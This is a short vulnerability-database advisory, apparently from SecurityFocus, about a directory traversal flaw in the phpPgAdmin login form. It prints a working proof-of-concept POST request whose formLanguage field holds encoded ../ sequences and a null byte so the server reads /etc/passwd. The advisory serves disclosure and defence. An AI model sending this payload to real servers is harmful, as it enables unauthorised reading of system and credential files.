Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Vista

PHPPGAdmin Login Form Directory Traversal Vulnerability

An exploit is not required.

The following proof of concept is available:
formUsername=username&formPassword=password&formServer=0&formLanguag
e=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/et
c/passwd%00&submitLogin=Login







 

Privacy Statement
Copyright 2008, SecurityFocus